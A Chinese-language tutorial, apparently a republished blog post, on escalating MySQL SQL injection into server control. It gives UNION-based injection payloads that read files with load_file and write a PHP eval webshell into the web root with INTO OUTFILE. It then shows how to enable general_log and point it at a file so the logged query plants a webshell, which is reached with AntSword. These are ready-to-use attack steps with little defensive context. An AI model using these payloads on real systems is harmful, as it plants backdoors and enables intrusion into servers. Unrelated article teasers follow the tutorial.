數據庫權限獲取

1. into outfile(手寫)

1.1. 利用條件

? web 目錄具有寫入權限,能夠使用單引號 ? 知道網站絕對路徑(根目錄,或則是根目錄往下的目錄都行)

? secure_file_priv 沒有具體值(在 mysql/my.ini 中查看)

1.2. secure_file_priv 介紹

secure_file_priv 是用來限制 load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。在 mysql 5.6.34 版本以后 secure_file_priv 的值默認為 NULL。如下關于 secure_file_priv 的配置介紹

1、secure_file_priv 的值為 NULL,表示限制 mysql 不允許導入|導出

2、當 secure_file_priv 的值為/tmp/ ,表示限制 mysql 的導入|導出只能發生在/tmp/目錄 下(其他目錄也可以)

3、當 secure_file_priv 的值沒有具體值時,表示不對 mysql 的導入|導出做限制

打開虛擬機,首先對secure_file_priv 設置為空,只有為空時才能不對MySQL的輸入和輸出有限制

先查詢是否為空(需要在MySQL下)

show global variables like '%secure%';

  1. 在我的數據庫中如圖顯示,很顯然secure_file_priv 的值為null,很顯然是不允許的

  1. 有的是沒有的,沒有就找到mysql/my.ini文件添加,添加后重啟小皮即可

secure_file_priv = ''

接下來可以利用該函數進行寫入一句話木馬

1.3. 一句話木馬

讀取文件 -1' union select 1,load_file("C:/Windows/win.ini"),3--+

  1. 前面步驟和聯合查詢一樣,判斷注入點,閉合方式,列數,回顯點,之后進行寫馬,首先獲取路徑

id=-1' union select 1,@@datadir,3--+

  1. 寫入木馬,

id=-1' union select 1,"<?php eval($_post['密碼']);?>",3 into outfile 'F:\\phpStudy\\PHPTutorial\\WWW\\321.php'--+

標藍底的為文件地址。當我們寫入成功后將會在該文件地址寫入PHP格式文檔

文件內容會是<?php eval($ POST['密碼']);?>

  1. 使用蟻劍連接

1.4. general_log寫入日志(日志寫碼)

1.4.1. 利用條件 :

? 知道日志的保存路徑 ? 日志功能是打開的

1.4.2. general_log 介紹

在 MySQL 中,General Log 是一種非常重要的日志類型,它記錄了發送到 MySQL 服務器的所有 SQL 語句。通常,出于性能考慮,不建議長時間開啟 General Log,因為 它會生成大量的日志數據。然而,在某些情況下,為了排查問題,可能需要臨時開啟 General Log

我們使用過的SQL語句均會在此顯示

show variables like 'general_log'; :查看日志是否開啟

1.4.2.1. 日志寫馬常用指令

set global general_log=on; -- 開啟日志功能

show variables like 'general_log_file'; -- 查看看日志文件保存位置

set global general_log_file='tmp/general.lg'; -- 設置日志文件保存位置

show variables like 'log_output'; -- 查看看日志輸出類型table 或file

set global log_output='table'; -- 設置輸出類型為table

set global log_output='file'; -- 設置輸出類型為file

1.4.3. 進行日志寫馬

  1. 當我們打開日志后,設置日志的保存路徑和文件名稱

show variables like 'general_log_file';

  1. 日志會記錄我們所有輸入的數據庫語句
  2. 接下來我們進行日志寫馬,我們在前臺輸入一句話木馬,只需要確保輸入的語句到達了數據庫執行了就行,成功失敗都沒關系并不影響木馬計入到日志中。
  3. 在使用蟻劍連接即可

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/75413.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/75413.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/75413.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于ESP系列MCU的UART download原理

GPIO0&#xff0c;即BOOT&#xff0c;工作模式選擇&#xff1a; 懸空/拉高&#xff1a;正常MCU啟動工作狀態 下拉接地&#xff1a;UARTDownload下載模式 如何進入UARTDownload下載模式&#xff1f; 先按下boot按鍵不放&#xff0c;再按下rst按鍵 / en按鍵&#xff0c;隨后釋放…

無需安裝Office進行 Word、Excel操作的微軟開發庫

微軟的確有一些無需安裝完整 Office 就能進行 Word、Excel 操作的開發庫&#xff0c;以下為你介紹&#xff1a; 1. Microsoft Graph API 簡介&#xff1a;Microsoft Graph API 是一個強大的 RESTful API&#xff0c;能讓開發者通過調用接口訪問 Office 365 服務里的各種資源&…

【一起來學kubernetes】34、ReplicaSet使用詳解

Kubernetes ReplicaSet 使用詳解 ReplicaSet 是 Kubernetes 中用于確保指定數量的 Pod 副本持續運行的核心控制器。它通過動態調整 Pod 副本數&#xff0c;保障應用的高可用性和彈性。以下是其核心功能、配置方法及最佳實踐&#xff1a; 一、ReplicaSet 核心作用 維持 Pod 副本…

【力扣hot100題】(034)LRU緩存

做完這題已經沒有任何力氣寫鏈表題了。 思路很簡單&#xff0c;就是調試特別的痛苦。 老是頻頻報錯&#xff0c;唉。 class LRUCache { public:struct ListNode{int key,val;ListNode* next; ListNode* prev;ListNode() : key(0), val(0), next(nullptr), prev(nullptr) {}L…

基于隨機森林算法的信用風險評估項目

引言 這是一個基于隨機森林算法的德國信用風險評估項目&#xff0c;主要目的是構建一個機器學習模型來評估德國客戶的信用風險&#xff0c;判斷客戶是否為高風險客戶。 # -*- coding: utf-8 -*- """ 德國信用風險評估隨機森林模型 """ # 基礎…

亞馬遜云科技攜手 DeepSeek:開啟企業級生成式 AI 新征程

文章目錄 一、DeepSeek-R1模型的技術突破&#xff08;一&#xff09;卓越的性能表現&#xff08;二&#xff09;獨特的訓練方法&#xff08;三&#xff09;豐富的模型生態 二、亞馬遜云科技平臺上的部署與優化&#xff08;一&#xff09;靈活的部署方式&#xff08;二&#xff…

Windows 實戰-evtx 文件分析--筆記

Windows 取證之EVTX日志 - 蟻景網安實驗室 - 博客園 一.evtx日志文件是什么 從 Windows NT 6.0&#xff08;也就是 Windows Vista 和 Windows Server 2008&#xff09;開始&#xff0c;微軟引入了一種全新的日志文件格式&#xff0c;稱為 evtx。這種格式取代了之前 Windows 系…

LangChain/Eliza框架在使用場景上的異同,Eliza通過配置實現功能擴展的例子

LangChain與Eliza框架的異同分析 ?一、相同點? ?模塊化架構設計? 兩者均采用模塊化設計&#xff0c;支持靈活擴展和功能組合。LangChain通過Chains、Agents等組件實現多步驟任務編排?&#xff0c;Eliza通過插件系統和信任引擎實現智能體功能的動態擴展?。模塊化特性降低…

英語口語 -- 常用 1368 詞匯

英語口語 -- 常用 1368 詞匯 介紹常用單詞List1 &#xff08;96 個&#xff09;時間類氣候類自然類植物類動物類昆蟲類其他生物地點類 List2 &#xff08;95 個&#xff09;機構類聲音類食品類餐飲類蔬菜類水果類食材類飲料類營養類疾病類房屋類家具類服裝類首飾類化妝品類 Lis…

深挖 DeepSeek 隱藏玩法·智能煉金術2.0版本

前引&#xff1a;屏幕前的你還在AI智能搜索框這樣搜索嗎&#xff1f;“這道題怎么寫”“蘋果為什么紅”“怎么不被發現翹課” &#xff0c;。看到此篇文章的小伙伴們&#xff01;請準備好你的思維魔杖&#xff0c;開啟【霍格沃茨模式】&#xff0c;看我如何更新秘密的【知識煉金…

2025 年浙江危化品經營單位考試攻略分享?

浙江的考試由省應急管理部門主導。理論考試突出危化品在電商、物流等新興業態下的安全管理知識&#xff0c;這與浙江發達的電商產業緊密相關。對危險化學品的環境危害及防治知識考查細致。實際操作考核模擬杭州、寧波等地危化品倉儲物流中心的作業情況。? 報名材料準備齊全后…

【區塊鏈+ 房產建筑】山東省建筑產業互聯網平臺 | FISCO BCOS 應用案例

山東省建筑產業互聯網平臺&#xff08;山東省弘商易盟平臺&#xff09;是基于區塊鏈技術構建的分布式產業互聯網平臺&#xff0c; 旨在把各企業內部的供應鏈協同管理系統&#xff08;包括采購或者SRM 系統&#xff0c; 以及銷售或CRM 系統&#xff09;利用區塊鏈技術鏈接起來&a…

Bash 花括號擴展 {start..end} 進階使用指南——字典生成

Bash 的花括號擴展&#xff08;brace expansion&#xff09;{start..end} 是一個強大而靈活的語法特性&#xff0c;用于生成特定序列或組合。它在腳本編寫、爆破字典生成、文件批量操作以及模式匹配中有著廣泛的應用。本文將從基礎用法到高級技巧&#xff0c;帶你全面掌握這一功…

23種設計模式-結構型模式-享元

文章目錄 簡介問題解決方案享元與不可變性享元工廠 代碼總結 簡介 亦稱&#xff1a;緩存、Cache、Flyweight。享元是一種結構型設計模式&#xff0c;它摒棄了在每個對象中保存所有數據的方式&#xff0c;通過共享多個對象所共有的相同狀態&#xff0c;讓你能在有限的內存容量中…

MFC BCGControlBar

BCGControlBar&#xff08;也稱為 BCGSoft 或 BCGControlBar Library&#xff09;是一個用于 MFC&#xff08;Microsoft Foundation Classes&#xff09; 的擴展庫&#xff0c;主要提供現代化的 UI 控件、Ribbon 界面、工具欄、屬性網格等組件&#xff0c;幫助開發者快速構建專…

【算法手記9】OR26 最長回文子串 NC369 [NOIP2002 普及組] 過河卒

&#x1f984;個人主頁:修修修也 &#x1f38f;所屬專欄:刷題 ??操作環境:牛客網 一.OR26 最長回文子串 牛客網題目鏈接(點擊即可跳轉):OR26 最長回文子串 題目詳情: 本題詳情如下圖: 題目思路: 本題解題思路如下: 本題思路用中心擴展算法,遍歷所有字符,將每個字符作為回文串…

批量刪除或替換文本文件中指定的行,如刪除第一行、刪除最后一行

每一個文本文件中我們都可以插入非常多的行&#xff0c;我們可以對行的內容進行刪除、修改等各種操作。如果文本文件中的某些行的內容需要更新&#xff0c;那我們就需要對其進行修改操作。想要修改文本文件的內容其實是非常方便的&#xff0c;但是如果想要批量的對多個文本文件…

LLM架構解析:詞嵌入模型 Word Embeddings(第二部分)—— 從基礎原理到實踐應用的深度探索

本專欄深入探究從循環神經網絡&#xff08;RNN&#xff09;到Transformer等自然語言處理&#xff08;NLP&#xff09;模型的架構&#xff0c;以及基于這些模型構建的應用程序。 本系列文章內容&#xff1a; NLP自然語言處理基礎詞嵌入&#xff08;Word Embeddings&#xff09…

機構數據服務

一、背景說明 券商/基金/銀行等金融機構的數據中心&#xff0c;基本都外購有數十家各類數據&#xff0c;自有業務每天也在產生海量信息。如何有效管理和使用這些數據&#xff0c;通過數據服務&#xff0c;沉淀數據資產&#xff0c;機構研發和運維部門也在不斷嘗試和改進。 傳…

中和農信:讓金融“活水”精準澆灌鄉村沃土

2025年政府工作報告首提“投資于人”概念&#xff0c;并22次提及“金融”&#xff0c;強調要著力抓好“三農”工作&#xff0c;深入推進鄉村全面振興&#xff1b;一體推進地方中小金融機構風險處置和轉型發展&#xff1b;扎扎實實落實促進民營經濟發展的政策措施&#xff0c;切…